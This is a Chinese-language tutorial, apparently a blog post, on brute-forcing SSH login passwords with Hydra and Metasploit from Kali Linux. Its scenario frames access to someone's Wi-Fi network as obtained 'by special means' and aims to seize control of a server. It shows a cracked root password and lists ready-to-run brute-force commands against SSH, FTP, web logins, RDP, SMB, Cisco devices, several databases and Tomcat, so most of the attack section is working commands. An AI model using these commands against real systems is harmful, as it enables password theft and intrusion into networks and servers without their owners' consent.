渗透实战(周六):Hydra&Metasploit暴力破解SSH登录口令
一. SSH服务开启前基础配置
1.1 修改配置文件📃
如下图示:打开root/etc/ssh/sshd_config 目录下文件
把# Port 22 修改为 Port 22 ,开启22号端口
把# ListenAddress 0.0.0.0 修改为 ListenAddress 0.0.0.0 ,允许所有IP地址访问22号端口
把# PermitRootLogin yes 修改为 PermitRootLogin yes ,开通root用户登录权限,即root用户可以通过SSH远程登录Kali
把# PasswordAuthentication yes 修改为 PasswordAuthentication yes ,开通密码验证服务,使用SSH远程登录Kali时需要root用户的密码
1.2 在Kali界面开启SSH 服务,然后将Kali放到后台运行
在Kali命令后窗口输入 :service ssh start , 开启SSH远程登录服务
在Kali命令后窗口输入 :service ssh status , 查看SSH服务状态 ,如图示:running
在Kali命令后窗口输入 :service ssh stop ,关闭SSH服务
在Kali命令后窗口输入: service ssh restart ,重启SSH服务
在Kali命令后窗口输入: update-rc.d SSH enable ,开机自启SSH服务
在Kali命令后窗口输入: update-rc.d SSH disabled ,关闭SSH服务开机自启
1.3 使用SecureCRT软件登录Kali并进行管理操作
在MacBook Pro 桌面打开SecureCRT软件 (点此下载 Mac&Win可选)
开始创建新的Quick Connect连接
填写Kali的IP地址、端口号(SSH服务一般是22号端口)、用户
输入root用户的密码,最后登录成功
二. 暴力破解SSH登录口令
假设我们通过特殊手段连入CMCC-yXz3 的Wi-Fi无线网络 ,拓扑图如下:
2.1使用nmap 扫描192.168.1.0/24网段,查看那台设备开启SSH服务
下图可知:
192.168.1.2 开放22号端口,开启SSH服务,是一台Apple主机;
192.168.1.3 开放22号端口,开启SSH服务,是一台基于Linux内核的Debian设备
我们推断,192.168.1.3 极有可能是一台开放SSH服务的服务器,而192.168.1.2是通过SSH连接服务器的终端管理设备
首先,我们知道192.168.1.3极有可能是开放SSH服务的某类服务器,而我们需要知道其用户名和登录口令,从而获取192.168.1.3的控制权
其次,我们采用Hydra"九头蛇"暴力破解工具来达到目的,在Kali命令行界面输入: hydra -h ,查看hydra帮助信息,如下图👇
现在,通过使用Hydra来爆破192.168.1.3的用户名和登录口令
Kali中自带暴力破解字典,在/usr/share/wordlists/目录下,可自行选取,技术大神也可自行编写私人暴破字典!
当看到界面👇显示 [22][ssh] host: 192.168.1.3 login: root password: toor,我们太开心了!
暴力破解: hydra(九头蛇) 参数: -R 继续从上一次进度接着破解 -S 大写,采用SSL链接 -s 小写,可通过这个参数指定非默认端口 -l 指定破解的用户,对特定用户破解 -L 指定用户名字典 -p 小写,指定密码破解,少用,一般是采用密码字典 -P 大写,指定密码字典 -e 可选选项,n:空密码试探,s:使用指定用户和密码试探 -C 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数 -M 指定目标列表文件一行一条 -o 指定结果输出文件 -f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解 -t 同时运行的线程数,默认为16 -w 设置最大超时的时间,单位秒,默认是30s -v /-V显示详细过程 各协议的具体命令: 格式+示例:
1、破解ssh: hydra -L 用户名字典 -p 密码字典 -t 线程 -vV -e ns ip ssh hydra -l 用户名 -p 密码字典 -t 线程 -o save.log -vV ip ssh
2、破解ftp: hydra ip ftp -L 用户名字典 -P 密码字典 -t 线程(默认16) -vV hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV
3、get方式提交,破解web登录: hydra -L 用户名字典 -p 密码字典 -t 线程 -vV -e ns ip http-get/admin/ hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get/admin/index.PHP
4、post方式提交,破解web登录: hydra --L 用户名字典 -P 密码字典 -s 80 ip http-post-form"/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorrypassword" hydra -t 3 -l admin -P pass.txt -o out.txt -f 10.36.16.18 http-post-form"login.php:id=^USER^&passwd=^PASS^:<title>wrong username orpassword</title>" 参数说明: -t同时线程数3,-l用户名是admin,字典pass.txt,保存为out.txt,-f 当破解了一个密码就停止, 10.36.16.18目标ip,http-post-form表示破解是采用http的post方式提交的表单密码破解,<title>中的内容是表示错误猜解的返回信息提示
5、破解https: hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https 6、破解teamspeak: hydra -L 用户名字典 -P 密码字典 -s 端口号 -vV ip teamspeak 7、破解cisco: hydra -P pass.txt 10.36.16.18 cisco hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable 8、破解smb: hydra -L 用户名字典 -P pass.txt 10.36.16.18 smb 9、破解pop3: hydra -l muts -P pass.txt my.pop3.mail pop3 10、破解rdp: hydra ip rdp -l administrator -P pass.txt -V 11、破解http-proxy: hydra -l admin -P pass.txt http-proxy://10.36.16.18
2.2 使用Metasploit工具集中的小插件暴破SSH服务登录口令
首先,开启Metasploit,命令行以 "msf >" 开头
在命令行窗口输入: search ssh ,查看与SSH相关的攻击模块 ,其中,我们需要的模块:auxiliary/scanner/ssh/ssh_login
其次,
在msf命令后界面输入 :use auxiliary/scanner/ssh/ssh_login ,调用SSH攻击模块
在msf命令后界面输入 :show options ,查看需要我们设置的参数 ,我们需要补充四点:目标主机IP地址、用户名字典路径、密码字典路径、线程数(即每秒跑几个密码)
在msf命令后界面输入 :show options ,查看设置正确与否,如图👇
msf auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.1.3 rhosts => 192.168.1.3 msf auxiliary(scanner/ssh/ssh_login) > set user_file /usr/share/wordlists/ssh_username.txt username_file => /usr/share/wordlists/ssh_username.txt msf auxiliary(scanner/ssh/ssh_login) > set pass_file /usr/share/wordlists/ssh_password.txt pass_file => /usr/share/wordlists/ssh_password.txt msf auxiliary(scanner/ssh/ssh_login) > set threads 5 threads => 5
最后,在msf命令后界面输入: run 发起攻击 ,经过漫长等待⌛️,我们看到:[+] 192.168.1.3:22 - Success: 'root:toor' !
Kali Linux(Metasploit口令猜解模块) Metasploit口令猜解模块—— SSH服务口令猜解: msf > use auxiliary/scanner/ssh/ssh_login(使用ssh_login模块) msf auxiliary(ssh_login) > show options (查看选项) msf auxiliary(ssh_login) > set RHOSTS 10.107.0.99(目标) msf auxiliary(ssh_login) > set USER_FILE /root/username.txt(用户名字典,或指定用户) msf auxiliary(ssh_login) > set PASS_FILE /root/pass.txt(密码字典文件) msf auxiliary(ssh_login) > set THREADS 50(线程) msf auxiliary(ssh_login) > exploit (开始) Telnet口令猜解: msf > use auxiliary/scanner/telnet/telnet_login (使用telnet_login模块) msf auxiliary(telnet_login) > show options (查看选项) msf auxiliary(telnet_login) > set RHOSTS 10.180.100.141(目标) msf auxiliary(telnet_login) > set USER_FILE /root/username.txt(用户名字典,或指定用户) msf auxiliary(telnet_login) > set PASS_FILE /root/pass.txt(密码字典文件) msf auxiliary(telnet_login) > exploit (开始) Samba口令猜解: msf > use auxiliary/scanner/smb/smb_login (使用smb_login模块) msf auxiliary(smb_login) > show options (查看选项) msf auxiliary(smb_login) > set RHOSTS 10.180.100.10(目标) msf auxiliary(ssmb_login) > set USER_FILE /root/username.txt(用户名字典,或指定用户) msf auxiliary(ssmb_login) > set PASS_FILE /root/pass.txt(密码字典文件) msf auxiliary(ssmb_login) > exploit(开始) Mysql口令猜解: msf > use auxiliary/scanner/mysql/mysql_login (使用mysql_login模块) msf auxiliary(mysql_login) > show options (查看选项) msf auxiliary(mysql_login) > set RHOSTS 192.168.230.176(目标) msf auxiliary(mysql_login) > set USERNAME root(用户名字典,或指定用户) msf auxiliary(mysql_login) > set PASS_FILE /root/pass.txt(密码字典文件) msf auxiliary(mysql_login) > exploit(开始) Postgresq口令猜解: msf > use auxiliary/scanner/postgres/postgres_login (使用postgres_login模块) msf auxiliary(postgres_login) > show options (查看选项) msf auxiliary(postgres_login) > set RHOSTS 192.168.230.10(目标) msf auxiliary(postgres_login) > set USER_FILE /root/username.txt(用户名字典,或指定用户) msf auxiliary(postgres_login) > set PASS_FILE /root/pass.txt(密码字典文件) msf auxiliary(postgres_login) > exploit (开始) Mssql口令猜解: msf > use auxiliary/scanner/mssql/mssql_login (使用mssql_login 模块) msf auxiliary(mssql_login) > show options (查看选项) msf auxiliary(mssql_login) > set RHOSTS 10.107.0.64(目标) msf auxiliary(mssql_login) > set USER_FILE /root/username.txt(用户名字典,或指定用户) msf auxiliary(mssql_login) > set PASS_FILE /root/pass.txt(密码字典文件) msf auxiliary(mssql_login) > exploit(开始) Tomcat口令猜解: msf > use auxiliary/scanner/http/tomcat_mgr_login (使用tomcat_mgr_login模块) msf auxiliary(tomcat_mgr_login) > show options(查看选项) msf auxiliary(tomcat_mgr_login) > set RHOSTS 192.168.230.176(目标) msf auxiliary(tomcat_mgr_login) > set USER_FILE username.txt(用户名字典,或指定用户) msf auxiliary(tomcat_mgr_login) > set PASS_FILE /root/pass.txt(密码字典文件) msf auxiliary(tomcat_mgr_login) > exploit(开始)